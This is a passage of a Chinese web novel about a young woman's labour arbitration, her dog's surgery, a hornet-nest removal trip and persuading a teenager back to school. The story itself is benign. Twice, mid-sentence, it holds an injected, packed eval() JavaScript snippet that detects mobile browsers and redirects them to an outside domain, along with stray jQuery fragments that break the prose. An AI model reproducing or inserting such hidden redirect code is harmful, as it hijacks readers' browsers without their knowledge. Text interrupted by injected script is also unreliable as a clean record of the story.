几天后,她又去了趟江城。上次庭审结束时,仲裁员提出要半个月后再进行调解,虽然双方都不情不愿,但这个流程还是得配合着走一走。 常乐和珍姐在劳动仲裁中心门口碰了头。 “珍姐!”常乐笑着跟她打招呼,举起手中的笼子,“看,小狗我给你带来了。” 珍姐惊喜地“呀”了一声,捧着笼子仔细端详着小狗,“好可爱啊,我女儿肯定高兴死了。” “我给你挑了只最好看的,就是……”常乐有些不好意思,“腿有点短。” 珍姐笑着说:“没事儿,小短腿底盘更稳。” “刚打了第一针疫苗,三周后再打第二针,到时候我会提醒你的。”常乐提起一个大包裹,“这里有羊奶粉、狗粮、狗盆,还有一个小狗窝,你都拿去吧,就不用自己买了。” 珍姐又惊又喜,连连道谢。 “别客气。”常乐挽着她,正要往大厅走去,“进去吧。” 珍姐站着没动,拽了她一下,又朝大厅里努了努嘴。 常乐顺着她的视线望去,看见李玉婷就坐在大厅的等候椅上。她今天没化妆,戴着个黑框眼镜,头发也没有打理,穿着一件臃肿的棉袄,看上去有些几分颓废。 珍姐轻声说:“我刚刚跟她聊了会儿,她说,中午想请我们吃个饭。” 常乐眉头一皱,疑心有诈:“她该不会是想求我们同意调解吧?不行,我不答应。” 珍姐摇摇头,“她也不同意调解。她说,想跟我们道个歉,顺便交流一下情报。” “……好吧。”常乐勉强同意。 她相信自己的意志足够坚定,什么糖衣炮弹都收买不了她。 调解意料之中地失败了。 仲裁员告知双方,过几天就会出判决结果,但是请他们做好心理准备,结果可能不如预期。 走出仲裁庭时,珍姐忍不住抱怨:“一开始我们就明确拒绝了调解,要求直接开庭,结果开完庭还要再调解一遍……这样拖拖拉拉的有什么意思?” 常乐安慰道:“大概是他们上头有规定吧,尽量调解,调解不了再开庭。还好,现在都走到最后一步了,就等着出结果了。” 李玉婷低着头,跟在她们身后,沉默不语。 珍姐回过头,“哎”了一声,问她:“老孙还没跟你联系吗?” “没有呢。”李玉婷抬起头,一脸愁容地说,“他的几个号码我都打烂了,就是联系不上他。” 珍姐嘀咕道:“你这小三,当得也真是够惨的。” 常乐赶紧用胳膊肘捅捅她。 珍姐扭头瞪着她,“怎么啦?我说的是实话。” 常乐点点头,小声附和:“是是是,咱们下去再说吧,别在这儿聊了。” 她们在仲裁中心附近找了家小馆子,点了几道家常菜。 李玉婷对常乐的小狗很感兴趣,一直在弯着腰逗它,语气很羡慕:“我也想养狗,可惜现在连住的地方都没有,只能借住在我闺蜜家。” 常乐和珍姐都没接话,等着她进入正题。 李玉婷叹了口气,说:“我知道,你们肯定很恨我。说实话,我也恨我自己,当初真不该信了老孙的鬼话,做这个狗屁法人,一分钱好处没落到,还惹上这么多麻烦——” 珍姐犀利地打断她:“所以,你后悔的不是做小三,而是做了这个法人?” 李玉婷噎了一下,结结巴巴地说:“那倒也不是……我就是……我是被老孙骗了,他说要给我买房、开公司,还说要跟老婆离婚,统统是骗我的……” 珍姐端起茶杯,慢悠悠地喝了一口,一针见血道:“所以,你只是后悔跟了老孙,而不是跟了一个真正的有钱人。” “我、我也不想做小三的……”李玉婷开始抽泣了。 “算了,这是你的私德问题,我们不关心。”常乐打断她,“当务之急是要找到老孙,不然,所有的钱就得你一个人出了。” “老孙……”李玉婷吸了吸鼻子,又擦了擦眼角的泪,抬起头看着她们,“上次跟你们说的那套别墅,你们找到人了吗?” 珍姐摇摇头,半晌,才缓缓开口:“我找邻居打听过了,他岳父岳母一家去海南度假了,不知道什么时候才能回来。” 李玉婷沉默片刻,微微向前倾身,压低声音说:“其实,还有个方法。老孙有个女儿,在英才私立学校读五年级,学杂费什么的加起来一年要十几万呢。我打听过了,这学校是一年交一次学费,现在下学期刚开学,她不可能交了钱又不去读吧?” 常乐和珍姐对视一眼。 “你什么意思?”常乐的语气有些冲,“你想让我们从他的女儿下手?” 李玉婷细眉微蹙,辩解道:“什么叫下手?别说得这么难听,我只是提个建议。你们不是找不到人吗?可以在学校门口蹲守,等他女儿一出来,就跟上去,看看是谁来接。要是她直接回家,那就更好了,你们可以直接杀到老孙家里去。” 常乐双臂抱胸,往椅背一靠,盯着她的眼睛,问:“你都计划得这么周全了,为什么不自己去呢?你就不想找到老孙吗?” “我一个人怎么去?而且名不正言不顺的,去了也是讨打。”李玉婷停顿了下,掏出手机,“咱们加个微信吧。我这里有他女儿的照片,发给你们。” 常乐坐着没动,拒绝的意味很明显。 一阵短暂的沉默后,珍姐掏出手机,扫了她的微信。 常乐匆匆吃完中饭,连一声“再见”都懒得说,左手提着狗笼,右手拖着珍姐离开了。 “珍姐,你没发现她在拿我们当枪使吗?”常乐忿忿不平地说,“一会儿让我们去盯别墅,一会儿让我们去蹲小孩。她不是说恨老孙吗?她自己怎么不去?” 珍姐攥着手机,没吭声。 “而且,对小孩下手,这种事我做不出来。”常乐见珍姐不说话,忍不住提醒她:“你可千万别冲动啊。” 珍姐转过头看着她,眼里闪过一丝犹豫。 “可是……”她面露难色,喃喃道,“那套别墅我已经蹲了那么久,一点进展都没有。老孙的女儿现在应该上学了吧?从她下手肯定更容易。” “珍姐!”常乐急得放下狗笼,扶住她的肩膀用力摇晃,“你也有个女儿,你想想,如果你女儿上学被人跟踪,你会不会立刻报警?” 珍姐蹙了蹙眉,眼神恢复了几分清明。 常乐继续说:“我不是什么圣母,只是觉得,跟踪小孩的风险可比蹲守房子大多了!人家要是报了警,说你意图绑架小孩,你就是有一百张嘴也解释不清!” 珍姐拧着眉,思索片刻,终于承认:“你说得对,这件事太危险了。” 常乐松了口气,再次强调道:“所以说,咱别搭理那个李玉婷了。她心术不正,干不出什么好事。” -- 几天后,常乐收到了一沓仲裁裁决书。她直接翻到最后一页,看到裁决如下: 被申请人需要在裁决生效之日起十五日内,一次性向申请人支付两个月的工资8000元。 怎么还给她打了个折呢? 常乐百思不得其解,于是给珍姐打了个电话。 珍姐说:“我的也少了四千。我刚刚给仲裁委打了电话,他们说,这个金额是根据我前12个月的平均工资来计算的。” “啊?”常乐大失所望。 姑且不说她在这家公司都没干满12个月,光是试用期她就干了三个月,只拿个基本工资,这一平均下来,她可就亏大了。 常乐觉得憋屈:“那可咋办?” “你 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两人隔着玻璃窗,看着胜宝被绑着四肢,平躺在手术台上,医生正往她体内缓缓注入麻药。 常乐别过头,捂住眼睛不敢看。 易诚轻轻拍了拍她的肩膀,“给你看样东西。” 常乐从指缝间望着他,“什么?” 易诚指着她身后满墙的锦旗,说:“中间那幅是我送的。” 常乐转过头,在满墙的“喵手回春”“救我狗命”“万兽之王”中,找到了一幅由“图图爹”敬赠的锦旗—— “是那个‘手起蛋落,拆蛋专家’吗?”她好奇地问。 易诚点点头。 常乐扑哧一声笑了。 “医生还把图图的蛋送给我了。”易诚一脸无奈,“就像两粒花生米,我也不知道留着这玩意儿有什么用。” 常乐笑得更大声了。 过了十几分钟,胜宝被医生从手术间里推了出来。她吐着舌头,翻着眼白,肚子上有道伤口,被缝了几针。 常乐看得心疼不已,嘶了一口凉气。 穿着白大褂的“拆蛋专家”跟她交代道:“已经打了消炎针,再给你开五天的药,回去后记得给她戴个伊丽莎白圈,防止她舔舐伤口。五天后来这里拆线。” 常乐连连点头,拿手机一一记下。 “好了,你们可以回去了。”医生将药品装进袋子里,递给她。 易诚问:“还没交费吧?” “已经交过了。”医生看了眼常乐,“她上次来预约手术的时候交的。” 易诚看向常乐,低声道:“说好了我来出的。” “哎哟,这点小钱就别跟我争了。”常乐大大咧咧地说,“本来我是想讹你一把的,但是仔细想想,两条狗你情我愿,谈不上是谁的错,所以你就别放在心上了。” 易诚垂眸看着她,眼底情绪复杂。 “常乐,”他语气诚恳,“你不用这样替我着想,这一千多块钱我还是出得起的。” 常乐摆摆手,“我知道你出得起,可你现在不是正需要用钱嘛。这样吧,等你渡过难关,有钱了再还我吧。” “行。”易诚郑重地承诺,“我会还你的。” 两人合力将昏迷中的胜宝搬进宠物箱,然后抬着箱子出门了。 今天天气不错,阳光温柔跳跃,微风吹来一丝暖意,街头的梧桐树梢也冒出了一抹新绿。 春天好像要来了。 常乐听着树上的鸟叫,忽然想起,就在两个月前,她还在担心仲裁会很麻烦,发愁胜宝的肚子,操心姥姥姥爷的事。 而现在,回头看看,这些都不是事儿。 原来,再难走的路,硬着头皮走下去,也能走完。 41. 41 周末,常建民又开着车,带常乐进了山。 常乐懒洋洋地躺在后排,翘着二郎腿玩手机。 常建民从后视镜里瞥她一眼,劝道:“心情不好就要多出去走走,回归大自然,呼吸新鲜空气。” “我没有心情不好。”常乐放下手机,“就是有点……怎么说呢,看到一个人在走向死亡,我什么都做不了,感觉很无力。” 常建民宽慰她:“你又不是神,只是个普通人。没有人能阻止死亡。” 常乐一只胳膊枕在脑后,盯着车顶发呆。 常建民继续说:“我小时候,村里有个老头进山找走丢的羊,被马蜂围攻了。他是被人抬回来的,叫得那叫一个惨,我们小孩都远远地看着,不敢上前……没过多久他就咽气了。那是我第一次直面死亡,唯一的感觉就是无能为力。” 常乐缓缓坐起身,若有所思道:“难怪你那么喜欢捅马蜂窝,原来那时候就立志要为民除害了啊。” 常建民笑了笑,继续回忆道:“后来,村长不知从哪儿请来了一个马蜂猎人,他的装备很简陋,穿着塑料防护服,拿着个塑料袋就进山了,天快黑时才回来,袋子里装着一个比脸盆还大的马蜂窝。我们这群小孩眼睛都瞪直了,那是我第一次在现实生活中见到真正的大侠。” 常乐想,也许那时候,年幼的父亲就在心里埋下了英雄的种子。即使现在,他已经五十多岁了,依然对年少时的英雄梦想念念不忘。 小车一路颠簸,终于到了村口,常乐老远就看见方凛的边三轮,停在村口的榆树下。 常乐下了车,跟坐在石头上打游戏的方煦打了个招呼,问道:“你哥呢?” 方煦腾出一只手,指了指树上。 常乐仰起头,看着方凛站在高高的树杈上,举着望远镜,远眺周围的群山。 常建民也仰着头,语气充满了崇拜:“方师傅身手真敏捷啊,跟猴儿一样。” 常乐忍不住笑了。 也许方凛,就是常建民心中英雄的化身。 他沉默寡言,冷静自持,身手矫健,临危不惧。 关键是,他帮村民排忧解难却不收钱,收常建民为徒却不要学费,真是视金钱如粪土。 不一会儿,方凛收起装备,双手抓紧麻绳,呲溜一下滑了下来。 他对常建民说:“这个马蜂窝在树上,我已经看到了,就不用飞无人机了。” 常建民由衷地赞叹道:“方师傅眼神真好使啊,跟鹰一样。” “小意思。”方凛被他夸得面色微赧,挪开视线,看向沉浸在游戏中的方煦,叮嘱道:“你就在这里等着,我们应该很快会回来。” “知道了。”方煦拖着调子,眼皮都懒得抬一下。 方凛和常建民沿着小路,一前一后地钻进了山林,常乐扛着大包裹跟在后面,一路哼哧带喘,苦不堪言。 在树林里艰难跋涉了半个多小时,方凛终于停下脚步,仰头望着树冠,说:“就是这儿了。” 常乐抬头望去,只见光秃秃的树梢上悬挂着一个硕大的马蜂窝,形状像一只陶罐。 常乐起了一身鸡皮疙瘩,双手抱臂瑟缩着,紧张地说:“咱们赶紧穿上防护服吧。” 方凛点点头。 常乐放下大包裹,从里面取出两套防护服,分别递给方凛和常建民,把最干净的那套留给了自己。 有了上次的经验,她穿衣服的速度快多了。 常建民换好衣服后,仰头望着树梢,有些发愁:“这么高,怎么弄下来啊?” 方凛胸有成竹地说:“我爬上去,把马蜂窝戳下来。你们俩拉开网兜,在下面接着。” 说完,他从包里掏出麻绳,套在树干上,双脚用力蹬树。 常乐也迅速找到网兜,跟常建民面对面站着,掀开四个角。 方凛穿着厚重的防护服,爬起树来比平时吃力。爬了几米高后,他纵身一跃,跳了下来,说:“不行,穿这身衣服使不上劲。” 不等两个臭皮匠出主意,他又在包里翻出一捆登山绳,解开,一头系上锁扣,向上用力一抛。 登山绳穿过一根粗壮的树枝,又落回地上。 他捡起绳子,另一头穿过锁扣,向下一拉,绳子立刻绷得紧紧的。 接着,他将一根伸缩杆别在身后,双手一上一下地抓住绳子,双脚在树上来回蹬踏,就这么轻松地窜了上去。 常乐和常建民都看呆了。 “这就是传说中的轻功吗?”常建民喃喃自语。 常乐扭头看着他,调侃道:“爸,擦擦口水。” 半分钟后,方凛就稳稳地站在了树枝上。他抽出背后的伸缩杆,拉到最长,冲下面两人喊道:“准备好了!” 常乐和常建民急忙拉开网兜,瞄准树上的马蜂窝,左挪右挪,前挪后挪,总觉得差了一点儿。 方凛一手扶着树干,另一只手举起伸缩杆,直捣马蜂窝和树枝的衔接处,一下、两下、三下…… 不断有碎末掉落,马蜂也陆续出洞,对这个入侵者发动空袭。 在捅第五下时,整个马蜂窝开始摇晃起来。常乐和常建民慌忙调整位置。 第六下,马蜂窝与树枝之间的衔接处彻底断开,土黄色“陶罐”如自由落体般下坠,常乐急忙向后退,常建民也跟着向前一步…… 马蜂窝直直地砸在常建民的头上,弹开后,正好撞上常乐的面罩。 她吓得啊啊大叫,双腿直打哆嗦,差点一屁股瘫坐在地上。 幸好,马蜂窝从她身上滚落,被网兜稳稳地接住。 常建民一个箭步上前,抓住网兜的四个角,将马蜂窝牢牢地罩在里面。无数马蜂趴在网兜上面,密密麻麻的,让人头皮发麻。 与此同时,方凛也从绳索上滑了下来。他从包里掏出两只小网兜,递给父女俩,交代道:“你们捉外面的,我先把网兜里的弄出来。” 常乐和常建民听从指挥,一人举着一只小网兜,在空中四处挥舞着,不一会儿就抓了满满一网,全都倒进了玻璃罐里。 收尾工作进行得很顺利。 十分钟后,三个人换下了防护服,踏上了返程的路途。 方凛在前面带路,常建民扛着大包,远远地跟在后头。 常乐刚刚被吓出了一身冷汗。此刻,她吹着山间的清风,感觉格外凉爽。 走到一块大石头前,方凛停下脚步,回头看了她一眼,似乎在等她。 “上得去吗?”他问常乐。 常乐摇摇头,不好意思地笑了笑。从上面跳下来还行,但要徒手爬上去,实在有点难为她了。 方凛纵身一跃,攀上石头,然后蹲下身,向她伸出手。 常乐迟疑片刻,慢慢伸出双手,抓住他的手。 他的指腹很粗粝,是常年爬树攀岩留下的老茧,手心干燥,抓握起来很稳当。 常乐双脚蹬在石头上,感受到一股强劲的力量,将她整个人向上提起。她毫不费力地就登上了石头。 她低着头,脸颊微微发热,小声说了句“谢谢”。 方凛淡淡地说:“小事儿,别客气。” 两人都没离开,并肩站在石头上,等着落后一大截的常建民。 方凛突然开口:“听你爸说,你是大学生?” 这个话题开启得太突兀,常乐愣了一下,才迟疑着说:“……是啊,怎么了?” 在这个年代,大学生又不是什么稀罕的物种。 方凛说:“我想找你帮个忙。” 常乐想了想,问:“补课啊?我不行的,高中学的知识早就忘光了。” 方凛笑了,眉眼多了几分柔和。 “不是,我想让你帮忙劝劝方煦,让他回学校读书。”顿了顿,他收敛笑意,语气有些发愁,“他读完高一就要退学,我好说歹说,劝了好久,才让他把退学改成了休学。可是休学最多也只能休两年,他要是再不回学校,就要被退学了。” 常乐不解地问:“他为什么要退学呢?是碰到校园霸凌了吗?” 方凛摇摇头,眉间蹙起一抹忧虑,“不是,我找他的同学和老师打听过了,没有这种事。他就是不想学,觉得读书太辛苦了,再加上现在大学生就业难,他觉得就算努力考上大学,也找不到工作,不如现在就躺平。” 常乐沉默了。 这小子,意识还挺超前。 方凛垂眸看着她,语气恳切:“你是大学生,能不能站在大学生的立场劝一劝他?比如跟他描述一下大学生活有多美好,告诉他大学生的就业前景还是很广阔的,考大学是唯一的出路,等等。” “我、我……”常乐尴尬得不敢看他。 许久,她终于鼓起勇气,承认:“我实在说不出来。我大学上了两年网课,没怎么感受过大学生活的美好。至于什么就业前景,就更别提了,我现在连份正经工作都没有,有什么资格给他灌鸡汤?我甚至觉得,他说得有点道理……” 方凛深深叹了口气,双手掐腰,眺望着远方。 “我也不是非要他上大学不可,只是他休学后天天打游戏,这样下去人都要废了。虽然跟着我学了点本事,但这一行需求量不大,他靠这个根本养活不了自己。我想让他有自力更生的能力,读书不一定是唯一的出路,但对普通家庭的孩子而言,是最好的出路,不是吗?” 常乐点点头,内心深处某个地方,似乎被触动了。 “行,我可以去劝他,但是不保证能成功。” 毕竟青春期的孩子都顽固得很,一旦决定做什么事,十头牛都拉不回来。 “谢谢。”方凛松了口气。 “不过,”常乐抬起头望着他,“你也得帮我一个忙。” “你说。” 常乐飞快地说:“回去再说。” 她瞥见常建民的身影从一棵树后面出现。他扛着大包,哼哧哼哧地喘着气。 两人很有默契地闭口不语,常乐从常建民手上接过大包,方凛抓着他的胳膊,将他拽了上来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787778|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三个人回到村口,方煦还坐在石头上,一个皮肤黝黑、身材敦实的大叔站在他身后,弯着腰,脑袋凑到前面,一脸好奇地观看他打游戏。 听到动静,大叔抬起头,看到他们,立刻笑出一脸褶子。 “哎呀方师傅,这么快就回来了?”他快步迎上来,“大家都辛苦了!赶紧去我屋里坐坐,喝口热茶。” 方凛将大包小包堆放在边三轮的车斗里,跟着大叔往村里走去。 大叔边走边向他们介绍,自己家是养牛的,今年养了十几头牛。前几天,有头小牛跟大部队走散了,不小心进了山里,出来时被蜇了一身的包,痛得嗷嗷叫唤。大叔心疼得要死,赶紧把它送到附近的畜牧站,才救回了一条命。 大叔发誓要替它报仇,所以通过邻村的养蜂人找到方凛,希望他能将那个害人的马蜂窝给一锅端了。 大叔的家是一栋二层的水泥小楼,客厅干净宽敞。几个人围坐在方桌边,桌上摆满了热乎乎的饭菜。 大叔热情地招待道:“正好到饭点了,反正你们回去也要吃饭,不如就在我家吃了。都是些家常菜,千万别跟我客气。” 方凛也没推辞,礼貌地道了声谢,便拿起了筷子。 常乐也跟着拿起筷子,夹了一块凉拌牛肉,塞进嘴里。 不得不说,养牛人家里的牛肉就是货真价实,比外面买的好吃多了。 几个人都开动了,方煦也依依不舍地放下手机,拿起筷子。 “方煦啊,”常乐又夹起一块红烧牛腩,放在嘴里嚼嚼嚼,边嚼边说,“你哥让我劝你回学校继续读书。” 方凛筷子停在空中,缓缓转过头,警示地瞪着她—— 一开口就把我卖了? 常乐迎上他的目光,直截了当地说:“你瞪我干嘛?难道他还不知道吗?这世上除了你,还有谁会操心他的事?” 方煦抬起头,看看她,又看看方凛,眼神充满了戒备。 方凛放下筷子,叹了口气,承认道:“是,是我让常乐劝你的。她是大学生,我觉得她的话更有说服力,你不妨听听。” 方煦不服气地说:“大学生又怎么了?现在的大学生还有含金量吗?辛辛苦苦考上大学,连个工作都找不到,有什么意义?” 常乐放下筷子,直视着他,坦然道:“你说的对。” 方凛和常建民都惊讶地看着她。 “七年前,我考上大学的时候,也没想到大环境会变得这么差。本科毕业,想找份有双休、有五险一金、不加班的工作简直是痴心妄想,考公考编更是难于上青天。”常乐牵起唇角,笑容有些苦涩,“我现在只能待在家里,说好听点是陪伴家人,说难听点就是啃老。” 她这么坦诚,倒让方煦有些不好意思了。他讪讪地说:“哎,姐姐,我也不是这个意思……” 常乐打断他:“你听我说完。七年前的我,根本想象不到七年后的世界会变成这样。同样的,现在的我,也想象不到七年后会发生什么事。” 方煦听得一头雾水:“你到底想说什么?” 常乐不急不慢地说:“我想说的是,你只看到了现在大环境不好,大学生就业难,但是你能预测七年后吗?也许到那时候,经济形势好转,大学生轻轻松松就能找到工作,朝九晚五不用加班,收入还会逐年增长,靠自己就能买车买房。” 方煦嘀咕道:“怎么可能?你是不是被马蜂蜇出幻觉了?” 常乐没憋住笑了,又立马收起嘴角,恢复一本正经:“未来会发生什么,谁都说不准,但是,如果真如我预测的那样,那你就要倒大霉了。” 方煦眉头一拧,“我怎么了?” “当整个社会都在向上走的时候,躺平的人是最先被抛下的。”常乐指着他,毫不客气地说,“你如果不读书,就只能学门手艺,比如理发、烹饪、木工什么的,或者进厂,在流水线上机械地工作。你会遇到一个年轻小妹,你们早早地结婚,生几个孩子。七年后的繁荣与热闹都与你无关,你只会被生活压得喘不过气。” 方煦脑袋一撇,有些不服气,嘴巴张了又合,终究没说出反驳的话。 “但是,如果你回到学校,继续读书,考上大学,你知道你的未来会是什么样吗?”常乐故作神秘地说。 方煦反问道:“你问我?你不是会预测吗?” 常乐摇摇头,“我预测不到,因为你的未来充满了可能性。你也许会继续深造,考硕考博,甚至出国留学;也许会进私企,当个高级白领;也许会考公考编,有份稳定的工作;也许会自己创业,屡败屡战,终于赚到第一桶金……每条路都有优点和缺点,但是我相信,它们都会带着你,走向光明的未来。” 方煦眼眶微微泛红。他低着头,喝了一口饮料,闷闷地说:“要是真像你说的那样就好了……” 常乐郑重其事地说:“一定会的。读书的意义就在于让你有更多的选择。人生的路是越走越宽的,前提是,你得大步往前走,再难也得走下去。永远别躺着。” 42. 42 回去的路上,还是常建民开车,常乐依旧躺在后座,优哉游哉地睡起了午觉。 “我说,”常建民趁常乐还没睡着,抓紧时间问道,“吃完饭后,你跟方师傅在院子里嘀嘀咕咕什么呢?” 常乐闭着眼,懒洋洋地说:“他要加我微信,说以后常联系。” “哟,进展迅速啊。”常建民调侃道。 “什么进展?”常乐斜瞟他一眼,“他只是想让我继续劝劝方煦。” “那你应该去加方煦的微信啊。” “……”常乐坐起身,一脸严肃地说:“爸,你是不是偷偷加入我们小区的情报站了?你八卦的嘴脸,跟那些大姨一模一样。” 常建民呵呵笑道:“我这也是关心你嘛……算了,你们年轻人的事,我就不掺和了。” 常乐又躺回后座,脱了鞋,双腿竖起,靠在车窗上,把自己折成一个直角。 常建民不疾不徐地开着车,继续说:“你刚回来那几天,你妈跟我说,你抱着她哭得稀里哗啦的,说自己没出息,丢人,不想上班,不想做驴了。” “哎哟!你怎么还记得?”常乐顿时羞得面红耳赤。 人在深夜emo时说的那些矫情的话,白天再听一遍都觉得羞耻,更不用说隔了两个多月,从她爸的嘴里说出来,感觉更社死了。 常建民笑了笑,“说实话,我们都挺担心的,怕你从此一蹶不振。现在看来,你倒是想得挺通透的嘛。你劝方煦的那些话,也可以用在自己身上啊,不要躺平,不要停止前进,不要放弃人生的可能性。” 常乐双手捂住脸,闷闷地说:“道理大家都懂,可是做起来很难啊。方煦还年轻,如果现在回到学校,读完高中读大学,七年后就可以找工作了。那时候,也许一切都会变好。那我呢?这七年,我怎么办?卷又卷不动,躺又躺不平。” 常建民沉默许久,说:“我还是觉得,人不能躺平,一旦躺下,就很难再爬起来了。” 常乐微微叹气:“可是躺着真的很爽啊。俗话说,舒服不如躺着,好吃不如——” 话未说完,车子突然来了个急刹,她猛地从后座滚了下去,双腿向前一倒,砸在常建民的脑袋上。 “哎哟——”父女俩同时发出哀嚎。 常乐整个人呈倒栽葱的姿势,卡在前后座之间,上半身动弹不得,只剩两条腿在空中扑腾着。 她捂着脑袋叫唤:“怎么回事啊?” “路口突然冲出来一条狗,还好我反应及时。”常建民揉揉脑袋,转过头,查看她的伤情,“没事吧?” 常乐手肘撑在后座上,艰难地爬了起来,转了转脖子,又活动了一下手腕脚腕。 没啥大碍,就是精神上受到了惊吓。 “我就说人不能躺着吧。”常建民意味深长地说,“来的时候是上山,你躺着还算安全,现在是下山,随便出现个意外,就能让你摔个狗吃屎,轻则小磕碰,重则脑震荡。” “……”常乐捋了捋蓬乱的头发,愁眉苦脸地说:“这种时候就别说教了。” 常建民轻踩油门,轻哼一声,神色得意,“看你还敢不敢躺。” -- 接下来的几天,气温逐渐攀升,街上的年轻人都迫不及待地换上了春装。 依照姥姥的判断,早春已至,之后肯定不会再降温了。常乐这才脱下那身黑色长款羽绒服,将它洗净、晒干,然后好好封存在衣柜里。 周三晚上,无风,无云。 夜空清朗,只有一轮将圆未圆的月亮,像缺了一瓣的橘子,悬挂在树梢间。 常乐站在“小易轮滑培训班”门口,双手抄兜,仰头望着月亮,等着易诚和易叔叔出来。 这个时间是她精心挑选过的—— 今天气温高,没有风,下雨的可能性为零,适合出门。 过了晚上十点,街边的店铺都关门了,车辆稀少,路人零星,适合骑摩托车夜游。 而且,易诚跟她说过,出院后这几天,易叔叔的生物钟是乱的,醒了就吃,吃完又睡。他吃完晚饭后一般会睡上三、四个小时。这个时间点,他正好醒着。 身后传来一阵轱辘滚地的声音,常乐回过头,笑着迎上去。 易叔叔坐在轮椅上,穿着厚厚的皮夹袄,系着围巾,戴着毛绒帽,被保护得密不透风。 他歪着头,咧开嘴角,冲常乐笑了笑。 “易叔叔,咱们出去玩儿。”她走到轮椅旁边,“高兴吗?” “啊啊……”易叔叔的嘴角咧得更大了。 易诚推着轮椅,慢慢往前走着,月光从枝叶间漏下来,在他的脸上跳跃。 他边走边说:“这么晚了,还要麻烦你陪我们出来。我爸不愿意白天出门,可能是怕见到熟人吧。” 常乐笑嘻嘻地说:“正好,我也喜欢晚上出门溜达,周围一个人都没有,感觉特别自在。” 正说着,路边的草丛忽然晃动起来,发出“簌簌”的声响。 紧接着,一个黑影蹿了出来,又飞快地钻进了树影里。 “卧槽!!!”常乐吓得一蹦三尺高,“什么玩意儿过去了?” 易诚也吓了一跳,不过他还算镇定,双手紧握住轮椅的把手,皱眉盯着黑影消失的地方,语气不太确定:“应该是狗吧……” “这么大一只?” 常乐紧张地躲在他身后,只露出半边脑袋,死死盯着那片树影。 没等多久,那只黑影又蹿了出来,还携带着一道光束,在树丛中晃来晃去。 什么巨型变异狗,还会用手电筒? 常乐和易诚蹑手蹑脚地走近,定睛一看,什么狗啊,分明是个瘦长的男人,正趴在地上,撅着屁股,手上举着手机照明。 “王哥?” “鼠哥?” 瘦长男人回过头,看到两人,起身拍了拍膝盖上的泥土,冲他们点点头。 “巧啊。你们两个约会呢?” 常乐长吁一口气,轻拍着胸口,安抚受到惊吓的小心脏。 她又气又好笑地问:“王哥啊,为什么你每次出场,都是这么……呃,惊悚?” 王哥挠了挠油腻的长发,不好意思地笑笑,说:“抱歉吓到你们了,我正在找狗呢。” “它又跑了?”易诚问。 “是啊。”王哥叹了口气,“一天要跑八百回,这都是它的常规操作了。” 常乐忍不住吐槽:“活该,叫你遛狗不栓绳。” “我栓了。”王哥一脸无奈,从裤兜里掏出一根狗绳,“可它一兴奋起来就往前冲,狗绳都给挣脱了。” 常乐和易诚四目相对,一时无言。 王哥重新趴在地上,脸几乎贴到地面,屁股撅得老高,一边举起手机,朝灌木林深处照去,一边小声呼喊:“老狗,老狗,出来吃肉干了,老狗……” 手机发出一声叮响。常乐拿起手机一看,对易诚说:“走吧,方凛已经到了。” 她又对王哥说:“我俩还有点事,先出去一趟。待会儿我再帮你找狗。” 王哥头也不回,冲她摆摆手,“去吧去吧,不耽误你俩约会了。” -- 上次,在农户家吃完饭后,常乐向方凛提出,想借他的边三轮一用,短则一晚,长则一天。 方凛爽快地答应了。 “是你要骑吗?” 常乐摇摇头,“是帮一个朋友借的,他爸爸腿脚不便,我想带他去兜兜风。” “你们有摩托车驾驶证吗?” 常乐这才想起这一茬。对哦,现在管得严,骑摩托车上路都要求有驾驶证。 “这样吧,”方凛沉吟片刻,给她出了个主意:“我来给你们当司机。咱们加个微信,你把时间地点发给我。” 易诚推着轮椅,跟常乐并肩朝小区大门走去。 门口有家大排档还在营业,颠勺的声音清脆悦耳,烧烤架冒着袅袅的白烟,孜然的香味直往常乐鼻子底下钻。 方凛和他的边三轮已经在大排档门口等候了。 明亮的灯光下,他穿着一件深棕色夹克,脚踩黑色登山靴,胳膊夹着头盔,冲他们招了招手。 常乐向易诚介绍:“这是方凛,传说中的马蜂猎人,还是我爸的师父。” “别说得这么夸张。”方凛有些不好意思,“我只是靠山吃山,跟那些进山采药的人没什么区别。” 易诚跟他握了握手,“幸会,我叫易诚,是常乐的朋友。”他的手覆在易叔叔的肩膀上,“这位是我爸。” 方凛蹲下身,抓起易叔叔的手,轻轻握了下。 “叔叔你好,今晚就由我当你们的司机了。” 易诚说:“真是麻烦你了。” “不用客气。”方凛站起身,看向常乐,眼底含笑,“她帮了我一个忙,我也要帮她一个,这才算公平嘛。” 说到帮忙,常乐想起了方煦,急忙问:“对了,你弟回学校了吗?” 方凛点点头,“揍了一顿,终于肯回去了。已经办好了手续,安排他住校了,手机也给没收了。” 揍了一顿…… 这么简单吗? 那她那场激情澎湃的演讲又算什么? “你自己就能解决,也不需要我帮忙啊……”常乐嘀咕道。 “先礼后兵嘛。”方凛笑了,“其实,上次你已经说服了他,但他又好面子,不肯轻易回学校。” 常乐感到费解:“为什么?” “因为他觉得,被你说了几句就乖乖回学校,很没面子呗。非得我假装发火,揍他一顿,他才肯回去。” 常乐:“……” 中二期少年的脑回路就是这么匪夷所思。 好在结局还算圆满。 未来的几年,希望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792339|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个迷途知返的少年,能坚持走完这段艰难的旅程。 易诚和方凛合力将易叔叔抬进了挎斗里,方凛还在他腰间系上了安全带。易叔叔左看右看,眼里闪烁着兴奋的光。 一切准备就绪后,方凛递给易诚一个头盔,然后长腿一跨,骑上了摩托车。 